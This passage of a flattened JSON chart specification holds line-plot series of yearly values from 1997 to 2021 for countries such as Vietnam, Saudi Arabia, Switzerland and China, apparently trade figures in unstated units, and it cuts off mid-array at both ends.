14117.67, - 13940.13, - 11729.89, - 5701.81, - 5512.06, - 5866.37, - 7258.95, - 6057.01, - 714.24, - 52.66 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.73, - 9.14, - 11.52, - 12.39, - 18.91, - 29.18, - 38.21, - 86.5, - 131.39, - 167.38, - 173.68, - 408.66, - 521.81, - 1064.9, - 1722.87, - 2314.78, - 2594.25, - 3003.35, - 2560.39, - 3320.56, - 5018.55, - 7192.23, - 7283.42, - 6120.66, - 5075.21 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.01, - 0, - 0, - 0.84, - 9.39, - 0.12, - 0.07, - 0.37, - 0.09, - 2.18, - 1.54, - 2.47, - 0.34, - 0.09, - 0.4, - 2.26, - 0.6, - 1.08, - 4.53, - 0.28, - 0.76, - 7.5, - 0.09, - 0.39 - ] - }, - { - "mode": "lines", - "name": "YEMEN REPUBLC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.8, - 10.71, - 255.2, - 15.32, - 47.81, - 42.24, - 29.76, - 30.82, - 10, - 2004.23, - 1457.78, - 754.61, - 1575.55, - 1743.9, - 970.72, - 958.92, - 782.18, - 540.68, - 6.88, - 4.81, - 153.05, - 11.77, - 22.73, - 23.39, - 89.63 - ] - }, - { - "mode": "lines", - "name": "ZAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 97.24, - 39.1, - 25.95, - 11.57, - 13.49, - 14.4, - 18.55, - 22.96, - 40.56, - 85.14, - 73.21, - 208.4, - 102.22, - 32.09, - 168.81, - 324.87, - 243.15, - 283.35, - 475.38, - 743.9, - 1094.98, - 510.5, - 843.32, - 126.5, - 99.97 - ] - }, - { - "mode": "lines", - "name": "TAJIKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.53, - 2.33, - 0.54, - 1.34, - 0.08, - 3.95, - 4.09, - 5.89, - 7.95, - 9.81, - 17.47, - 16.85, - 23.02, - 8.86, - 12.86, - 0.86, - 4.39, - 9.98, - 21.82, - 50.29, - 4.24, - 0.29, - 1.06, - 7.04 - ] - }, - { - "mode": "lines", - "name": "TAIWAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 472.41, - 367.45, - 414.8, - 508.69, - 559.28, - 662.73, - 768.94, - 1092.07, - 1382.96, - 1678.63, - 2399.52, - 2868.79, - 2612.66, - 3961.11, - 4826.38, - 3963.35, - 4040.88, - 4028.65, - 3354.28, - 3142.89, - 3926.25, - 4577.25, - 4046.23, - 4036.75, - 4471.43 - ] - }, - { - "mode": "lines", - "name": "SYRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.92, - 11.62, - 11.47, - 6.67, - 7.41, - 8.84, - 4.65, - 3.82, - 5.13, - 78.97, - 20.24, - 157.92, - 144.69, - 35.61, - 178.38, - 80.37, - 76.62, - 28.34, - 40.54, - 32.25, - 25.66, - 14.17, - 15.34, - 15.31, - 12.85 - ] - }, - { - "mode": "lines", - "name": "SWITZERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2640.68, - 2942.37, - 2597.71, - 3160.14, - 2870.75, - 2329.88, - 3312.73, - 5939.93, - 6555.8, - 9143.85, - 9758.28, - 11869.5, - 14698.43, - 24802, - 34758.96, - 32166.54, - 19311.01, - 22133.16, - 19299.49, - 17248.68, - 18923.05, - 18087.58, - 16899.89, - 18230.95, - 19615.05 - ] - }, - { - "mode": "lines", - "name": "ROMANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 61.43, - 43.21, - 20.09, - 21.67, - 48.42, - 45.58, - 71.93, - 168.44, - 270.12, - 291.82, - 416.91, - 341.23, - 225.35, - 237.45, - 455.43, - 311.12, - 375.64, - 296.45, - 309.3, - 317.36, - 411.72, - 315.29, - 261.34, - 193.97, - 199.62 - ] - }, - { - "mode": "lines", - "name": "RUSSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 643.12, - 545.54, - 623.18, - 517.66, - 535.51, - 592.61, - 959.63, - 1322.74, - 2022.19, - 2409.05, - 2478.16, - 4328.28, - 3566.79, - 3600.02, - 4764.31, - 4231.56, - 3894.4, - 4249.22, - 4584.98, - 5552.3, - 8573.46, - 5840.44, - 7093.01, - 5485.75, - 6893.57 - ] - }, - { - "mode": "lines", - "name": "RWANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.02, - 0, - 0, - 0.72, - 0.04, - 1.64, - 0.67, - 2.55, - 0.26, - 0.03, - 0.15, - 0.24, - 0.25, - 1.21, - 1.35, - 1.18, - 5.34, - 6.68, - 4.1, - 6.67, - 5.37 - ] - }, - { - "mode": "lines", - "name": "SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.75, - 0.16, - 0, - 0, - 0.01, - 0, - 0.06, - 1.1, - 0.01, - 0.02, - 0.05, - 0.12, - 0.16, - 0.18, - 0.02, - 1.18, - 2.46, - 6.3, - 0.26, - 2.75, - 3, - 0.45, - 0.31 - ] - }, - { - "mode": "lines", - "name": "SAO TOME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.04, - 0, - 0, - 0.02, - 0, - 0, - 0.06, - 0.05, - 0.11, - 0.02, - 0, - 0, - 0.05, - 0, - 0.02, - 0, - 0.01, - 0, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "SAUDI ARAB", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1720.17, - 1831.47, - 2419.24, - 621.12, - 463.99, - 504.72, - 737.77, - 1301.15, - 1632.34, - 13355.33, - 19470.3, - 19972.74, - 17097.57, - 20385.28, - 31817.7, - 33998.11, - 36403.65, - 28107.56, - 20321.33, - 19972.4, - 22069.96, - 28479.21, - 26857.37, - 16186.76, - 22649.53 - ] - }, - { - "mode": "lines", - "name": "SENEGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 48.14, - 117.07, - 87.31, - 44.34, - 133.6, - 172.41, - 144.96, - 181.2, - 292.56, - 73.16, - 149.83, - 216.28, - 237.03, - 205.65, - 84.14, - 0.39, - 153.6, - 208.13, - 263.95, - 315.85, - 564.94, - 658.99, - 469.47, - 401.13, - 482.69 - ] - }, - { - "mode": "lines", - "name": "SEYCHELLES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.3, - 8.73, - 0.02, - 0.03, - 0.05, - 0.05, - 0.07, - 0.58, - 1.15, - 0.75, - 0.94, - 1.19, - 1.64, - 9.29, - 2.57, - 2.4, - 0.99, - 1.17, - 0.67, - 0.93, - 1.37, - 5.27, - 4.71, - 3.64, - 2.81 - ] - }, - { - "mode": "lines", - "name": "SIERRA LEONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.17, - 0.11, - 1.02, - 0.44, - 4.15, - 6.47, - 2.27, - 3.56, - 2.35, - 51.19, - 7.56, - 4.16, - 6.67, - 5.36, - 5.8, - 5.56, - 23.59, - 16.56, - 12.23, - 24.17, - 11.73, - 24.49, - 8.71, - 12.23 - ] - }, - { - "mode": "lines", - "name": "SINGAPORE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1002, - 1384.16, - 1160.31, - 1463.91, - 1304.09, - 1434.81, - 2085.37, - 2651.4, - 3353.77, - 5484.32, - 8122.63, - 7654.86, - 6454.57, - 7139.31, - 8388.49, - 7486.38, - 6762.49, - 7124.47, - 7308.38, - 7086.57, - 7466.99, - 16281.64, - 14746.78, - 13304.92, - 13258.88 - ] - }, - { - "mode": "lines", - "name": "SLOVAK REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.09, - 11.17, - 11.69, - 6.96, - 12.66, - 11.39, - 10.62, - 22.89, - 39.86, - 19.81, - 43.84, - 46.01, - 40.3, - 88.03, - 87.98, - 63.44, - 53.14, - 137.04, - 64.64, - 68.53, - 95.2, - 57.42, - 54.84, - 35.58, - 78.28 - ] - }, - { - "mode": "lines", - "name": "SLOVENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.72, - 4.31, - 11.09, - 21.88, - 26.32, - 70.34, - 60.85, - 21.45, - 23.61, - 36.24, - 57.73, - 75.18, - 118.14, - 92, - 156.98, - 117.5, - 118.12, - 104.54, - 88.6, - 101.68, - 112.08, - 248.62, - 248.43, - 271.78, - 221.38 - ] - }, - { - "mode": "lines", - "name": "SOLOMON IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.98, - 7.91, - 1.3, - 2.93, - 4.14, - 1.27, - 2.25, - 0.29, - 2.77, - 1.97, - 6.5, - 0.53, - 1.13, - 0.04, - 22.13, - 15.13, - 5.3, - 13.47, - 67.67, - 53.96, - 67.73, - 58.81, - 38.97, - 33.86, - 12.8 - ] - }, - { - "mode": "lines", - "name": "SOMALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.41, - 0.82, - 0.8, - 3.14, - 14.31, - 26.65, - 9.68, - 7.47, - 11.56, - 18.03, - 7.72, - 6.59, - 4.06, - 9.24, - 3.49, - 12.54, - 46.39, - 38.25, - 15.58, - 17.7, - 3.55, - 18.33, - 15.05, - 5.67, - 15.45 - ] - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 498.11, - 1351.88, - 2015.72, - 1021.91, - 1440.9, - 2093.48, - 1899.19, - 2197.67, - 2471.8, - 2470.14, - 3605.35, - 5513.58, - 5674.5, - 7140.55, - 10971.76, - 8887.89, - 6075.26, - 6496.52, - 5948.42, - 5833.75, - 6834.7, - 6517.33, - 6969.79, - 7568.2, - 8197.86 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 160.98, - 214.28, - 139.88, - 142.15, - 168.78, - 177.12, - 258.78, - 389.55, - 573.46, - 627.41, - 995.64, - 1023.8, - 1095.53, - 1487.58, - 1809.78, - 1815.66, - 1843.42, - 2005.2, - 1646.02, - 1968.77, - 1663.37, - 1680.5, - 1613.17, - 1511.92, - 1559.57 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.21, - 37.68, - 44.23, - 45.01, - 67.38, - 90.83, - 194.74, - 378.4, - 577.7, - 470.33, - 634.96, - 356.57, - 392.19, - 501.73, - 637.43, - 625.81, - 666.93, - 756.17, - 742.79, - 602.2, - 772.63, - 1488.4, - 903.69, - 642.94, - 766.66 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.09, - 0, - 0.03, - 0, - 0.1, - 0, - 0.02, - 0.37, - 0.16, - 0.01, - 0, - 0, - 0, - 0, - 1.01 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 3.78, - 25.58, - 0.48, - 0.32, - 0.47, - 0.41, - 0.5, - 0.14, - 0.45, - 0.24, - 0.32, - 0.57, - 0.61, - 0.39, - 0.12 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.47, - 15.12, - 6.61, - 8.02, - 13.42, - 24.49, - 31.22, - 22.88, - 32.62, - 89.08, - 433.14, - 415.53, - 475, - 613.78, - 430.79, - 127.14, - 436.43, - 569.66, - 149.2, - 245.15, - 452.07, - 742.63, - 396.75, - 368.28, - 99.18 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.14, - 0, - 0, - 0.19, - 0.26, - 3.25, - 0.51, - 0.96, - 6.48, - 1.09, - 0.86, - 1.2, - 1.47, - 0.88, - 4.4, - 13.4, - 13.15, - 210.87, - 43.33, - 45.92, - 92.76, - 89.39, - 55.07, - 34.14, - 24.32 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 0.31, - 0.56, - 0.95, - 0.21, - 0.45, - 1.69, - 3.14, - 23.63, - 56.89, - 37.47, - 39.78, - 33.01, - 109.49, - 46.01, - 70.71, - 124.66, - 22.03, - 40.82, - 39.24, - 8.92, - 9.6, - 7.03, - 50.87, - 234.42 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 274.48, - 200.22, - 238.79, - 238.19, - 402.21, - 517.56, - 698.79, - 937.33, - 1172.2, - 1932.46, - 2128.11, - 1952.5, - 1590.14, - 1619.38, - 1940.78, - 1681.43, - 1679.42, - 1748.4, - 1484.85, - 1161.12, - 1464.47, - 1326.85, - 1114.48, - 1004.76, - 1070.57 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.95, - 36.21, - 21.02, - 19.02, - 31.94, - 33.55, - 41.93, - 46.73, - 48.52, - 56.46, - 86.64, - 82.17, - 78.93, - 123.98, - 113.39, - 105.95, - 126.63, - 117.42, - 127.55, - 104.36, - 72.57, - 137.12, - 89.62, - 130.27, - 115.14 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.29, - 0.2, - 10.32, - 1.09, - 0.95, - 5.59, - 10.8, - 17.64, - 28.96, - 20.16, - 9.65, - 572.67, - 72.69, - 125.45, - 203.37, - 45.91, - 53.7, - 111.91, - 214.35, - 271.16, - 189.38, - 212.13, - 262.09, - 321.05, - 130 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 168.37, - 275.98, - 262.76, - 242.63, - 209.76, - 224.45, - 230.27, - 355.89, - 442.33, - 470.9, - 687.06, - 1776.57, - 823.43, - 818.93, - 1483.06, - 942.28, - 610.71, - 857.85, - 853.12, - 828.24, - 984.98, - 1116.25, - 1064.66, - 1065.53, - 1283.5 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.01, - 2, - 2.76, - 9.74, - 5.4, - 5.83, - 10.47, - 14.17, - 9.36, - 76.82, - 83.78, - 17.44, - 424.15, - 856.31, - 559.83, - 2352.79, - 4970.62, - 2134.94, - 807.79, - 593.96, - 592.8, - 1054.98, - 810.95, - 1403.61, - 2190.97 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.13, - 12.75, - 10.51, - 12.71, - 9.59, - 10.45, - 8.44, - 2.69, - 5.56, - 19.36, - 40.07, - 6.14, - 4.11, - 16.41, - 14.66, - 16.55, - 151.64, - 238.11, - 256.42, - 632.57, - 881.27, - 542.67, - 359.94, - 371.85 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.16, - 0, - 0.08, - 0.07, - 0, - 0.3, - 0.43, - 0.04, - 0, - 1.85, - 0.71, - 0.73, - 0.24, - 0.6, - 0.23, - 0.18, - 0.29, - 0.11, - 1.6, - 16.53, - 4.55, - 3.83, - 0.07, - 0.04 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.14, - 4.55, - 0, - 0.12, - 0.26, - 0.37, - 0.45, - 1.15, - 2.45, - 0.67, - 1.55, - 2, - 1.99, - 0.91, - 0.63, - 0.83, - 0.38, - 9.88, - 2.02, - 0.56, - 0.23, - 0 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.51, - 2.44, - 0.24, - 1.32, - 1.12, - 0.61, - 0.28, - 0.24, - 0.78, - 1.6, - 2.9, - 2.72, - 5.05, - 8.01, - 7.27, - 11.9, - 12.72, - 17.96, - 54.43, - 36.1, - 55.84, - 42.63, - 46.69, - 39.35, - 63 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 16.32, - 5.15, - 9.44, - 5.9, - 8.83, - 6.57, - 10.3, - 11.71, - 12.23, - 7.65, - 18.81, - 30.97, - 137.38, - 138.1, - 523.21, - 443.18, - 268.31, - 745.36, - 557.54, - 359.11, - 212.82, - 343.2, - 676.36, - 202.47, - 363.8 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 420.91, - 385.57, - 380.51, - 397.07, - 529.43, - 566.29, - 725.89, - 775.72, - 919.87, - 1775.88, - 1981.22, - 2458.65, - 2097.35, - 2029.98, - 2918.76, - 2800.22, - 3148.25, - 3749.42, - 4234.03, - 4131.52, - 4728.51, - 3515.41, - 3880.33, - 2686.43, - 2158.01 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.2, - 0, - 0.33, - 0.11, - 2.08, - 3.36, - 3.42, - 3.18, - 2.97, - 2.77, - 1.9, - 2.82, - 2.91, - 2.04, - 2.04, - 3.46 - ] - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 60.08, - 159.55, - 0.14, - 1.46, - 0.03, - 0.01, - 0, - 0.01, - 0, - 0, - 0.02, - 6.45, - 0.23, - 1.44, - 86.45, - 0.09 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 1.88, - 3.44, - 1.56, - 0.07, - 0.17, - 0.98, - 3.89, - 6.92, - 0.57, - 40.92, - 157.16, - 11.26, - 62.78, - 320.88, - 169.36, - 149.47, - 476.13, - 270.75, - 50, - 2.79 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 72.06, - 56.29, - 85.49, - 57.14, - 94.79, - 167.31, - 156.73, - 345.57, - 434.5, - 1923.48, - 1837.21, - 1503.9, - 1119.38, - 1550.25, - 2133.27, - 2992.31, - 2507.87, - 3080.63, - 1960.67, - 1226.34, - 2092.15, - 1237.55, - 1175.67, - 670.6, - 1121.57 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1112.05, - 1096.71, - 1282.89, - 1502.2, - 2036.39, - 2792.04, - 4053.21, - 7097.98, - 10868.05, - 17475.03, - 